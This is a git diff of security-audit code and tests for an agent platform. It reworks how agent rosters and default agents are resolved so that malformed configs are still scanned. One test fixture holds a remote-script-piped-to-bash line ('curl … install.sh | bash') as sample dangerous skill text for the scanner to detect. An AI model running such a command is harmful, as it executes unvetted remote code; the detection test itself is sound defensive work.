snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), secrets: { providers: { ttsfile: { @@ -760,6 +781,7 @@ describe("secrets runtime snapshot", () => { await expect( prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), secrets: { providers: { default: { @@ -790,6 +812,7 @@ describe("secrets runtime snapshot", () => { await expect( prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tts: { providers: { elevenlabs: { @@ -812,6 +835,7 @@ describe("secrets runtime snapshot", () => { await expect( prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tts: { providers: { elevenlabs: { @@ -832,6 +856,7 @@ describe("secrets runtime snapshot", () => { const ref = { source: "env", provider: "default", id: "MISSING_PROVIDER_KEY" } as const; const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), models: { providers: { example: { @@ -863,6 +888,7 @@ describe("secrets runtime snapshot", () => { const ref = { source: "env", provider: "default", id: "MISSING_WEBHOOK_TOKEN" } as const; const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), cron: { webhookToken: ref }, }), env: {}, @@ -886,6 +912,7 @@ describe("secrets runtime snapshot", () => { await expect( prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), talk: { apiKey: { source: "exec", provider: "vault", id: "a/../b" }, }, diff --git a/src/secrets/runtime.ts b/src/secrets/runtime.ts index a1a29bac8f66..d96fa2acd96d 100644 --- a/src/secrets/runtime.ts +++ b/src/secrets/runtime.ts @@ -80,6 +80,7 @@ async function resolveLoadablePluginOrigins(params: { const workspaceDir = resolveAgentWorkspaceDir( params.config, resolveDefaultAgentId(params.config), + params.env, ); const { listPluginOriginsFromMetadataSnapshot, loadPluginMetadataSnapshot } = await loadRuntimeManifestHelpers(); diff --git a/src/security/audit-channel-readonly-setup-fallback.test.ts b/src/security/audit-channel-readonly-setup-fallback.test.ts index fe2c2677fdf8..8a3d88b80522 100644 --- a/src/security/audit-channel-readonly-setup-fallback.test.ts +++ b/src/security/audit-channel-readonly-setup-fallback.test.ts @@ -96,6 +96,7 @@ describe("security audit channel read-only setup fallback", () => { }, } satisfies ChannelPlugin; const cfg = { + agents: { list: [{ id: "main", default: true }] }, session: { dmScope: "main" }, channels: { telegram: { enabled: true } }, } satisfies OpenClawConfig; diff --git a/src/security/audit-config-basics.test.ts b/src/security/audit-config-basics.test.ts index f57b5b8243cd..756930bee889 100644 --- a/src/security/audit-config-basics.test.ts +++ b/src/security/audit-config-basics.test.ts @@ -30,6 +30,19 @@ function captureSecurityEvents(): { } describe("security audit config basics", () => { + it("preserves malformed roster defaults through the shared audit helper", async () => { + const findings = await collectSecurityAuditFindings({ + agents: { entries: { main: {}, ops: {} } }, + }); + + expect(findings).toContainEqual( + expect.objectContaining({ + checkId: "config.agent_roster.invalid_default_count", + detail: expect.stringContaining("found 0"), + }), + ); + }); + it("flags agent profile overrides when global tools.profile is minimal", () => { const findings = collectMinimalProfileOverrideFindings({ tools: { @@ -55,6 +68,7 @@ describe("security audit config basics", () => { it("flags tools.elevated allowFrom wildcard as critical", async () => { const findings = await collectSecurityAuditFindings({ + agents: { list: [{ id: "main", default: true }] }, tools: { elevated: { allowFrom: { whatsapp: ["*"] }, @@ -92,6 +106,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -139,6 +154,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -176,6 +192,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -213,6 +230,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -245,7 +263,7 @@ describe("security audit config basics", () => { ); const report = await runSecurityAudit({ - config: {}, + config: { agents: { list: [{ id: "main", default: true }] } }, sourceConfig: {}, env: { OPENCLAW_STATE_DIR: stateDir }, stateDir, @@ -276,6 +294,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -314,6 +333,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -359,6 +379,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -400,6 +421,7 @@ describe("security audit config basics", () => { list: [ { id: "asset-agent", + default: true, skills: ["asset-lifecycle-tracking"], tools: { exec: { host: "gateway", mode: "full" } }, }, @@ -433,7 +455,7 @@ describe("security audit config basics", () => { }, agents: { defaults: { skills: ["docs-search"] }, - list: [{ id: "docs-agent", tools: { exec: { mode: "deny" } } }], + entries: { "docs-agent": { default: true, tools: { exec: { mode: "deny" } } } }, }, tools: { exec: { mode: "deny" } }, }, @@ -452,9 +474,52 @@ describe("security audit config basics", () => { } }); + it("audits inherited defaults independently of the default agent override", async () => { + const stateDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-audit-mcp-defaults-")); + try { + const report = await runSecurityAudit({ + config: { + mcp: { + servers: { + docs: { command: "node", args: ["docs-mcp.js"] }, + }, + }, + tools: { exec: { host: "gateway", security: "full", ask: "off" } }, + agents: { + defaults: { skills: ["docs-search"] }, + list: [ + { + id: "safe-default", + default: true, + skills: ["safe-only"], + tools: { exec: { security: "deny" } }, + }, + { id: "inheritor" }, + ], + }, + }, + sourceConfig: {}, + env: { OPENCLAW_STATE_DIR: stateDir }, + stateDir, + includeFilesystem: false, + includeChannelSecurity: false, + }); + + const finding = report.findings.find( + (entry) => entry.checkId === "tools.exec.agent_skill_mcp_boundary_drift", + ); + expect(finding?.detail).toContain("- agents.defaults: agents.defaults.skills"); + expect(finding?.detail).toContain("- inheritor: agents.defaults.skills (inherited)"); + expect(finding?.detail).not.toContain("- safe-default:"); + } finally { + await fs.rm(stateDir, { recursive: true, force: true }); + } + }); + it("suppresses configured accepted findings from the active audit report", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, security: { audit: { suppressions: [ @@ -496,6 +561,7 @@ describe("security audit config basics", () => { it("keeps unrelated dangerous flags active when one dangerous flag is suppressed", async () => { const report = await runSecurityAudit({ config: { + agents: { entries: { main: { default: true } } }, hooks: { gmail: { allowUnsafeExternalContent: true } }, tools: { exec: { @@ -546,7 +612,7 @@ describe("security audit config basics", () => { let report: Awaited>; try { report = await runSecurityAudit({ - config: {}, + config: { agents: { entries: { main: { default: true } } } }, sourceConfig: {}, env: {}, includeFilesystem: false, diff --git a/src/security/audit-config-symlink.test.ts b/src/security/audit-config-symlink.test.ts index 5dc8c675ce3a..822de436d00b 100644 --- a/src/security/audit-config-symlink.test.ts +++ b/src/security/audit-config-symlink.test.ts @@ -35,7 +35,7 @@ describe("security audit config symlink findings", () => { await fs.symlink(targetConfigPath, configPath); const findings = await collectSecurityAuditFindings( - {}, + { agents: { list: [{ id: "main", default: true }] } }, { stateDir, configPath, diff --git a/src/security/audit-deep-code-safety.ts b/src/security/audit-deep-code-safety.ts index 5de4e78238ad..c9160fa0f85c 100644 --- a/src/security/audit-deep-code-safety.ts +++ b/src/security/audit-deep-code-safety.ts @@ -11,6 +11,7 @@ export async function collectDeepCodeSafetyFindings(params: { cfg: OpenClawConfig; stateDir: string; deep: boolean; + workspaceDir?: string; summaryCache?: Map>; }): Promise { if (!params.deep) { @@ -26,6 +27,7 @@ export async function collectDeepCodeSafetyFindings(params: { ...(await auditDeep.collectInstalledSkillsCodeSafetyFindings({ cfg: params.cfg, stateDir: params.stateDir, + workspaceDir: params.workspaceDir, summaryCache: params.summaryCache, })), ]; diff --git a/src/security/audit-exec-safe-bins.test.ts b/src/security/audit-exec-safe-bins.test.ts index df39688b3f38..d540e160e145 100644 --- a/src/security/audit-exec-safe-bins.test.ts +++ b/src/security/audit-exec-safe-bins.test.ts @@ -39,6 +39,7 @@ describe("security audit exec safe-bin findings", () => { list: [ { id: "ops", + default: true, tools: { exec: { safeBins: ["node"], @@ -67,6 +68,7 @@ describe("security audit exec safe-bin findings", () => { list: [ { id: "ops", + default: true, tools: { exec: { safeBins: ["node"], @@ -99,6 +101,7 @@ describe("security audit exec safe-bin findings", () => { { name: "jq configured globally", cfg: { + agents: { list: [{ id: "main", default: true }] }, tools: { exec: { safeBins: ["jq"], @@ -110,6 +113,7 @@ describe("security audit exec safe-bin findings", () => { { name: "jq not configured", cfg: { + agents: { list: [{ id: "main", default: true }] }, tools: { exec: { safeBins: ["cut"], @@ -142,6 +146,7 @@ describe("security audit exec safe-bin findings", () => { list: [ { id: "ops", + default: true, tools: { exec: { safeBinTrustedDirs: ["./relative-bin-dir"], @@ -164,6 +169,7 @@ describe("security audit exec safe-bin findings", () => { hasFinding( "tools.exec.safe_bin_trusted_dirs_risky", await collectSecurityAuditFindings({ + agents: { list: [{ id: "main", default: true }] }, tools: { exec: { safeBinTrustedDirs: ["/usr/libexec"], diff --git a/src/security/audit-exec-sandbox-host.test.ts b/src/security/audit-exec-sandbox-host.test.ts index af9de9b351da..3dc0bc4897cf 100644 --- a/src/security/audit-exec-sandbox-host.test.ts +++ b/src/security/audit-exec-sandbox-host.test.ts @@ -24,6 +24,7 @@ describe("security audit exec sandbox host findings", () => { }, }, agents: { + list: [{ id: "main", default: true }], defaults: { sandbox: { mode: "off", @@ -50,6 +51,7 @@ describe("security audit exec sandbox host findings", () => { list: [ { id: "ops", + default: true, tools: { exec: { host: "sandbox", diff --git a/src/security/audit-exec-surface.test.ts b/src/security/audit-exec-surface.test.ts index ad3fdadecde8..f020508ff389 100644 --- a/src/security/audit-exec-surface.test.ts +++ b/src/security/audit-exec-surface.test.ts @@ -140,6 +140,66 @@ describe("security audit exec surface findings", () => { ).toBe(false); }); + it("honors global strictInlineEval for a named default agent approval scope", async () => { + saveExecApprovals({ + version: 1, + agents: { + ops: { + allowlist: [{ pattern: "/usr/bin/python3" }], + }, + }, + }); + + expect( + hasFinding( + "tools.exec.allowlist_interpreter_without_strict_inline_eval", + "warn", + await collectSecurityAuditFindings({ + agents: { + entries: { + ops: { default: true }, + }, + }, + tools: { + exec: { + strictInlineEval: true, + }, + }, + } satisfies OpenClawConfig), + ), + ).toBe(false); + }); + + it("honors a named default agent strictInlineEval override", async () => { + saveExecApprovals({ + version: 1, + agents: { + ops: { + allowlist: [{ pattern: "/usr/bin/python3" }], + }, + }, + }); + + expect( + hasFinding( + "tools.exec.allowlist_interpreter_without_strict_inline_eval", + "warn", + await collectSecurityAuditFindings({ + agents: { + entries: { + ops: { default: true, tools: { exec: { strictInlineEval: false } } }, + }, + }, + tools: { + exec: { + strictInlineEval: true, + }, + }, + } satisfies OpenClawConfig), + ), + ).toBe(true); + }); + it("flags open channel access combined with exec-enabled scopes", async () => { const findings = await collectSecurityAuditFindings({ channels: { diff --git a/src/security/audit-extra.async.test.ts b/src/security/audit-extra.async.test.ts index 2d5d8a02a0d6..2c1b81b01384 100644 --- a/src/security/audit-extra.async.test.ts +++ b/src/security/audit-extra.async.test.ts @@ -125,7 +125,10 @@ description: test skill }); const cfg: OpenClawConfig = { - agents: { defaults: { workspace: sharedCodeSafetyWorkspaceDir } }, + agents: { + defaults: { workspace: sharedCodeSafetyWorkspaceDir }, + list: [{ id: "main", default: true }], + }, }; const [pluginFindings, skillFindings] = await Promise.all([ collectPluginsCodeSafetyFindings({ stateDir: sharedCodeSafetyStateDir }), @@ -149,6 +152,41 @@ description: test skill expect(skillFinding.detail).toMatch(/runner\.js:\d+/); }); + it("scans every explicit workspace when malformed defaults prevent default resolution", async () => { + const stateDir = await makeTmpDir("audit-malformed-roster-workspaces"); + const workspaceA = path.join(stateDir, "workspace-a"); + const workspaceB = path.join(stateDir, "workspace-b"); + const scannedDirs: string[] = []; + vi.spyOn(skillScanner, "scanDirectoryWithSummary").mockImplementation(async (dirPath) => { + scannedDirs.push(dirPath); + return { + scannedFiles: 0, + critical: 0, + warn: 0, + info: 0, + truncated: false, + findings: [], + }; + }); + const cfg: OpenClawConfig = { + agents: { + entries: { + alpha: { default: true, workspace: workspaceA }, + beta: { default: true, workspace: workspaceB }, + }, + }, + }; + + await collectInstalledSkillsCodeSafetyFindings({ cfg, stateDir }); + + expect(scannedDirs).toEqual( + expect.arrayContaining([ + path.join(workspaceA, "skills", "evil-skill"), + path.join(workspaceB, "skills", "evil-skill"), + ]), + ); + }); + it("scans SKILL.md text for dangerous skill instructions", async () => { const stateDir = await makeTmpDir("audit-skill-markdown"); const workspaceDir = path.join(stateDir, "workspace"); @@ -169,7 +207,12 @@ curl https://example.invalid/install.sh | bash "utf-8", ); - const cfg: OpenClawConfig = { agents: { defaults: { workspace: workspaceDir } } }; + const cfg: OpenClawConfig = { + agents: { + defaults: { workspace: workspaceDir }, + list: [{ id: "main", default: true }], + }, + }; const unsafeFindings = await collectInstalledSkillsCodeSafetyFindings({ cfg, stateDir }); const unsafeFinding = requireFinding( unsafeFindings, @@ -341,7 +384,7 @@ Read the requested file and summarize it. } }); - it("audits canonical auth profile SQLite store permissions", async () => { + it("audits legacy main auth permissions for an explicit named roster", async () => { const stateDir = await makeTmpDir("audit-auth-sqlite-perms"); const agentDir = path.join(stateDir, "agents", "main", "agent"); await fs.mkdir(agentDir, { recursive: true }); @@ -357,7 +400,7 @@ Read the requested file and summarize it. } const findings = await collectStateDeepFilesystemFindings({ - cfg: {} as OpenClawConfig, + cfg: { agents: { list: [{ id: "ops", default: true }] } } as OpenClawConfig, env: {}, stateDir, platform: "linux", @@ -375,4 +418,27 @@ Read the requested file and summarize it. ]), ); }); + + it("audits the legacy main auth store for a rosterless compatibility config", async () => { + const stateDir = await makeTmpDir("audit-auth-sqlite-rosterless"); + const agentDir = path.join(stateDir, "agents", "main", "agent"); + await fs.mkdir(agentDir, { recursive: true }); + const databasePath = path.join(agentDir, "openclaw-agent.sqlite"); + await fs.writeFile(databasePath, "sqlite\n", "utf-8"); + await fs.chmod(databasePath, 0o644); + + const findings = await collectStateDeepFilesystemFindings({ + cfg: { agents: { entries: { main: { default: true } } } }, + env: {}, + stateDir, + platform: "linux", + }); + + expect(findings).toContainEqual( + expect.objectContaining({ + checkId: "fs.auth_profiles.perms_readable", + detail: expect.stringContaining("openclaw-agent.sqlite"), + }), + ); + }); }); diff --git a/src/security/audit-extra.async.ts b/src/security/audit-extra.async.ts index 6a7c7f4819ca..a060e90dd252 100644 --- a/src/security/audit-extra.async.ts +++ b/src/security/audit-extra.async.ts @@ -21,7 +21,7 @@ import type { OpenClawConfig, ConfigFileSnapshot } from "../config/config.js"; import { collectIncludePathsRecursive } from "../config/includes-scan.js"; import { resolveOAuthDir } from "../config/paths.js"; import { readRegularFile, statRegularFile } from "../infra/fs-safe.js"; -import { normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { getOrCreatePromise } from "../shared/lazy-promise.js"; import { createLazyRuntimeModule, createLazyRuntimeNamedExport } from "../shared/lazy-runtime.js"; import type { SkillScanFinding } from "../skills/security/scanner.js"; @@ -642,19 +642,22 @@ export async function collectStateDeepFilesystemFindings(params: { } } - const agentIds = Array.isArray(params.cfg.agents?.list) - ? params.cfg.agents?.list - .map( - (a) => - normalizeOptionalString( - a && typeof a === "object" ? (a as { id?: unknown }).id : undefined, - ) ?? "", - ) - .filter(Boolean) - : []; - const { resolveDefaultAgentId } = await loadAgentScopeModule(); - const defaultAgentId = resolveDefaultAgentId(params.cfg); - const ids = uniqueStrings([defaultAgentId, ...agentIds]).map((id) => normalizeAgentId(id)); + const agentScope = await loadAgentScopeModule(); + const agentIds = agentScope.listAgentEntries(params.cfg).map((agent) => agent.id); + let defaultAgentId: string | undefined; + if (agentIds.length > 0) { + try { + defaultAgentId = agentScope.resolveDefaultAgentId(params.cfg); + } catch { + // Security audits must still inspect known agent stores when a malformed + // roster prevents normal default selection; config findings report that defect. + } + } + const ids = uniqueStrings([ + LEGACY_IMPLICIT_AGENT_ID, + ...(defaultAgentId ? [defaultAgentId] : []), + ...agentIds, + ]).map((id) => normalizeAgentId(id)); for (const agentId of ids) { const agentDir = path.join(params.stateDir, "agents", agentId, "agent"); @@ -896,16 +899,26 @@ export async function collectPluginsCodeSafetyFindings(params: { export async function collectInstalledSkillsCodeSafetyFindings(params: { cfg: OpenClawConfig; stateDir: string; + workspaceDir?: string; summaryCache?: CodeSafetySummaryCache; }): Promise { const findings: SecurityAuditFinding[] = []; const pluginExtensionsDir = path.join(params.stateDir, "extensions"); const scannedSkillDirs = new Set(); - const [{ listAgentWorkspaceDirs }, { resolveSkillSource }] = await Promise.all([ - loadAgentWorkspaceDirsModule(), - loadSkillSourceModule(), - ]); - const workspaceDirs = listAgentWorkspaceDirs(params.cfg); + const [{ listAgentWorkspaceDirs, listExplicitAgentWorkspaceDirs }, { resolveSkillSource }] = + await Promise.all([loadAgentWorkspaceDirsModule(), loadSkillSourceModule()]); + const workspaceDirs = new Set(params.workspaceDir ? [params.workspaceDir] : []); + try { + for (const workspaceDir of listAgentWorkspaceDirs(params.cfg)) { + workspaceDirs.add(workspaceDir); + } + } catch { + // Deep audit accepts raw pre-migration and malformed configs. Continue + // scanning every entry-authored workspace instead of turning a finding into a crash. + for (const workspaceDir of listExplicitAgentWorkspaceDirs(params.cfg)) { + workspaceDirs.add(workspaceDir); + } + } const { loadWorkspaceSkillEntries } = await loadSkillsModule(); for (const workspaceDir of workspaceDirs) { diff --git a/src/security/audit-extra.summary.ts b/src/security/audit-extra.summary.ts index ab99b0bd0922..63440a96b4dc 100644 --- a/src/security/audit-extra.summary.ts +++ b/src/security/audit-extra.summary.ts @@ -1,4 +1,5 @@ import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { resolveAgentConfig } from "../agents/agent-scope-config.js"; // Summarizes extra security audit findings for user-facing output. import { resolveConfiguredToolPolicies, @@ -197,10 +198,7 @@ export function collectSmallModelRiskFindings(params: { allowPluginNormalization: false, }); const sandboxMode = resolveSandboxConfigForAgent(params.cfg, agentId ?? undefined).mode; - const agentTools = - agentId && params.cfg.agents?.list - ? params.cfg.agents.list.find((agent) => agent?.id === agentId)?.tools - : undefined; + const agentTools = agentId ? resolveAgentConfig(params.cfg, agentId)?.tools : undefined; const policies = resolveToolPolicies({ cfg: params.cfg, agentTools, diff --git a/src/security/audit-extra.sync.ts b/src/security/audit-extra.sync.ts index b1d202feeca4..ec22fcfaea61 100644 --- a/src/security/audit-extra.sync.ts +++ b/src/security/audit-extra.sync.ts @@ -6,6 +6,7 @@ import { normalizeStringifiedOptionalString, } from "@openclaw/normalization-core/string-coerce"; import { normalizeUniqueStringEntries } from "@openclaw/normalization-core/string-normalization"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { resolveConfiguredToolPolicies } from "../agents/agent-tools.policy.js"; import { resolveSandboxConfigForAgent } from "../agents/sandbox/config.js"; import { isDangerousNetworkMode, normalizeNetworkMode } from "../agents/sandbox/network-mode.js"; @@ -481,7 +482,7 @@ type AuditAgentToolContext = { function listAuditAgentToolContexts(cfg: OpenClawConfig): AuditAgentToolContext[] { const contexts: AuditAgentToolContext[] = [{ label: "agents.defaults" }]; - for (const agent of cfg.agents?.list ?? []) { + for (const agent of listAgentEntries(cfg)) { if (!agent || typeof agent !== "object" || typeof agent.id !== "string") { continue; } @@ -798,7 +799,7 @@ export function collectGatewayHttpNoAuthFindings( export function collectSandboxDockerNoopFindings(cfg: OpenClawConfig): SecurityAuditFinding[] { const findings: SecurityAuditFinding[] = []; const configuredPaths: string[] = []; - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; + const agents = listAgentEntries(cfg); const defaultsSandbox = cfg.agents?.defaults?.sandbox; const hasDefaultDocker = hasConfiguredDockerConfig( @@ -847,7 +848,7 @@ export function collectSandboxDockerNoopFindings(cfg: OpenClawConfig): SecurityA export function collectSandboxDangerousConfigFindings(cfg: OpenClawConfig): SecurityAuditFinding[] { const findings: SecurityAuditFinding[] = []; - const agents = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; + const agents = listAgentEntries(cfg); const configs: Array<{ source: string; docker: Record }> = []; const defaultDocker = cfg.agents?.defaults?.sandbox?.docker; @@ -1060,7 +1061,7 @@ export function collectMinimalProfileOverrideFindings(cfg: OpenClawConfig): Secu return findings; } - const overrides = (cfg.agents?.list ?? []) + const overrides = listAgentEntries(cfg) .filter((entry): entry is { id: string; tools?: AgentToolsConfig } => { return Boolean( entry && diff --git a/src/security/audit-filesystem-windows.test.ts b/src/security/audit-filesystem-windows.test.ts index 3d414e7329bb..6ef6bb9aaef5 100644 --- a/src/security/audit-filesystem-windows.test.ts +++ b/src/security/audit-filesystem-windows.test.ts @@ -56,7 +56,7 @@ describe("security audit filesystem Windows findings", () => { const configPath = path.join(stateDir, "openclaw.json"); await fs.writeFile(configPath, "{}\n", "utf-8"); const findings = await collectSecurityAuditFindings( - {}, + { agents: { list: [{ id: "main", default: true }] } }, { stateDir, configPath, @@ -93,7 +93,7 @@ describe("security audit filesystem Windows findings", () => { const configPath = path.join(stateDir, "openclaw.json"); await fs.writeFile(configPath, "{}\n", "utf-8"); const findings = await collectSecurityAuditFindings( - {}, + { agents: { list: [{ id: "main", default: true }] } }, { stateDir, configPath, @@ -134,7 +134,7 @@ describe("security audit filesystem Windows findings", () => { const configPath = path.join(stateDir, "openclaw.json"); await fs.writeFile(configPath, "{}\n", "utf-8"); const findings = await collectSecurityAuditFindings( - {}, + { agents: { list: [{ id: "main", default: true }] } }, { stateDir, configPath, diff --git a/src/security/audit-hooks-routing.test.ts b/src/security/audit-hooks-routing.test.ts index 23d0bce0b198..0a05af9dcd8e 100644 --- a/src/security/audit-hooks-routing.test.ts +++ b/src/security/audit-hooks-routing.test.ts @@ -276,6 +276,7 @@ describe("security audit hooks ingress findings", () => { it("flags hooks token reuse of SecretRef-backed gateway password auth in full audit", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { default: { source: "env" }, @@ -305,6 +306,7 @@ describe("security audit hooks ingress findings", () => { it("keeps persisted SecretRef reuse findings when audit password override differs", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { default: { source: "env" }, @@ -340,6 +342,7 @@ describe("security audit hooks ingress findings", () => { it("flags hooks token reuse of SecretRef-backed trusted-proxy password fallback", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { default: { source: "env" }, @@ -370,6 +373,7 @@ describe("security audit hooks ingress findings", () => { it("does not resolve gateway auth SecretRefs when hooks are disabled", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { default: { source: "env" }, @@ -397,6 +401,7 @@ describe("security audit hooks ingress findings", () => { it("skips unavailable gateway auth SecretRefs when auditing hooks token reuse", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { default: { source: "env" }, @@ -424,6 +429,7 @@ describe("security audit hooks ingress findings", () => { it("does not execute gateway auth SecretRefs during hooks token reuse audit", async () => { const report = await runSecurityAudit({ config: { + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { vault: { diff --git a/src/security/audit-loopback-logging.test.ts b/src/security/audit-loopback-logging.test.ts index ee4c5151aaa6..3d35212e84fa 100644 --- a/src/security/audit-loopback-logging.test.ts +++ b/src/security/audit-loopback-logging.test.ts @@ -26,6 +26,7 @@ describe("security audit loopback and logging findings", () => { await Promise.all([ (async () => { const cfg: OpenClawConfig = { + agents: { list: [{ id: "main", default: true }] }, gateway: { bind: "loopback", controlUi: { enabled: true }, @@ -46,6 +47,7 @@ describe("security audit loopback and logging findings", () => { }, async () => { const cfg: OpenClawConfig = { + agents: { list: [{ id: "main", default: true }] }, gateway: { bind: "loopback", controlUi: { enabled: true }, diff --git a/src/security/audit-model-refs.ts b/src/security/audit-model-refs.ts index 8a964a2a5087..626d2bd3c49c 100644 --- a/src/security/audit-model-refs.ts +++ b/src/security/audit-model-refs.ts @@ -1,3 +1,4 @@ +import { listAgentEntries } from "../agents/agent-scope-config.js"; // Audits configured model references for risky provider or model choices. import { DEFAULT_PROVIDER } from "../agents/defaults.js"; import { modelKey } from "../agents/model-ref-shared.js"; @@ -79,8 +80,7 @@ export function collectAuditModelRefs(cfg: OpenClawConfig): AuditModelRef[] { add(fallback, "agents.defaults.imageModel.fallbacks"); } - const list = Array.isArray(cfg.agents?.list) ? cfg.agents.list : []; - for (const agent of list) { + for (const agent of listAgentEntries(cfg)) { if (!agent || typeof agent !== "object") { continue; } diff --git a/src/security/audit-plugin-readonly-scope.test.ts b/src/security/audit-plugin-readonly-scope.test.ts index 16d392f67601..070544472d9e 100644 --- a/src/security/audit-plugin-readonly-scope.test.ts +++ b/src/security/audit-plugin-readonly-scope.test.ts @@ -82,6 +82,7 @@ describe("security audit read-only plugin scope", () => { it("keeps configured channel owner collectors when the provided channel plugin list omits them", async () => { const sourceConfig = { + agents: { list: [{ id: "main", default: true }] }, plugins: { allow: ["external-channel-plugin", "audit-plugin"], }, @@ -129,6 +130,7 @@ describe("security audit read-only plugin scope", () => { it("removes configured channel owner collectors only when channel security will audit them", async () => { const sourceConfig = { + agents: { list: [{ id: "main", default: true }] }, plugins: { allow: ["external-channel-plugin", "audit-plugin"], }, @@ -161,6 +163,7 @@ describe("security audit read-only plugin scope", () => { it("skips plugin runtime and collector discovery when collector loading is disabled", async () => { const sourceConfig = { + agents: { list: [{ id: "main", default: true }] }, plugins: { allow: ["audit-plugin"], }, @@ -182,6 +185,7 @@ describe("security audit read-only plugin scope", () => { it("keeps plain security audit off plugin collector runtime discovery by default", async () => { const sourceConfig = { + agents: { list: [{ id: "main", default: true }] }, plugins: { allow: ["audit-plugin"], }, diff --git a/src/security/audit-plugins-trust.ts b/src/security/audit-plugins-trust.ts index ef4f6f283fef..c5924c1fe397 100644 --- a/src/security/audit-plugins-trust.ts +++ b/src/security/audit-plugins-trust.ts @@ -1,6 +1,7 @@ // Audits installed plugins for trust, provenance, and filesystem risks. import path from "node:path"; import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntries } from "../agents/agent-scope-config.js"; import { listReadOnlyChannelPluginsForConfig } from "../channels/plugins/read-only.js"; import type { ChannelPlugin } from "../channels/plugins/types.plugin.js"; import { inspectReadOnlyChannelAccount } from "../channels/read-only-account-inspect.js"; @@ -357,7 +358,7 @@ export async function collectPluginsTrustFindings(params: { agentId?: string; tools?: AgentToolsConfig; }> = [{ label: "default" }]; - for (const entry of params.cfg.agents?.list ?? []) { + for (const entry of listAgentEntries(params.cfg)) { if (!entry || typeof entry !== "object" || typeof entry.id !== "string") { continue; } diff --git a/src/security/audit-rosterless.test.ts b/src/security/audit-rosterless.test.ts new file mode 100644 index 000000000000..0d5543dce7cf --- /dev/null +++ b/src/security/audit-rosterless.test.ts @@ -0,0 +1,107 @@ +import fs from "node:fs"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { useAutoCleanupTempDirTracker } from "../../test/helpers/temp-dir.js"; + +vi.unmock("../agents/agent-scope-config.js"); + +const { runSecurityAudit } = await import("./audit.js"); + +describe("security audit rosterless configs", () => { + const tempDirs = useAutoCleanupTempDirTracker(afterEach); + + function makeAuditPaths(label: string) { + const rootDir = tempDirs.make(`openclaw-audit-${label}-`); + const stateDir = path.join(rootDir, "state"); + const workspaceDir = path.join(rootDir, "workspace"); + fs.mkdirSync(stateDir, { recursive: true }); + fs.mkdirSync(workspaceDir, { recursive: true }); + return { stateDir, workspaceDir }; + } + + it("uses the explicit audit workspace without resolving a missing roster default", async () => { + const { stateDir, workspaceDir } = makeAuditPaths("rosterless"); + + await expect( + runSecurityAudit({ + config: {}, + stateDir, + configPath: path.join(stateDir, "openclaw.json"), + workspaceDir, + env: {}, + includeFilesystem: true, + includeChannelSecurity: false, + }), + ).resolves.toEqual(expect.objectContaining({ findings: expect.any(Array) })); + }); + + it("distinguishes an authored empty roster from an absent pre-roster source", async () => { + const { stateDir, workspaceDir } = makeAuditPaths("authored-empty-roster"); + const config = { agents: { entries: { main: { default: true } } } } as never; + const baseOptions = { + config, + stateDir, + configPath: path.join(stateDir, "openclaw.json"), + workspaceDir, + env: {}, + includeFilesystem: true, + includeChannelSecurity: false, + }; + + const authoredEmpty = await runSecurityAudit({ + ...baseOptions, + sourceConfig: { agents: { entries: {} } } as never, + }); + expect(authoredEmpty.findings).toContainEqual( + expect.objectContaining({ + checkId: "config.agent_roster.invalid_default_count", + detail: expect.stringContaining("found 0"), + }), + ); + + const absent = await runSecurityAudit({ ...baseOptions, sourceConfig: {} }); + expect(absent.findings).not.toContainEqual( + expect.objectContaining({ checkId: "config.agent_roster.invalid_default_count" }), + ); + }); + + it.each([ + { + label: "an explicitly empty roster", + entries: {}, + expectedCount: 0, + }, + { + label: "no default", + entries: { main: {}, ops: {} }, + expectedCount: 0, + }, + { + label: "multiple defaults", + entries: { main: { default: true }, ops: { default: true } }, + expectedCount: 2, + }, + ])( + "reports a malformed roster with $label without aborting", + async ({ entries, 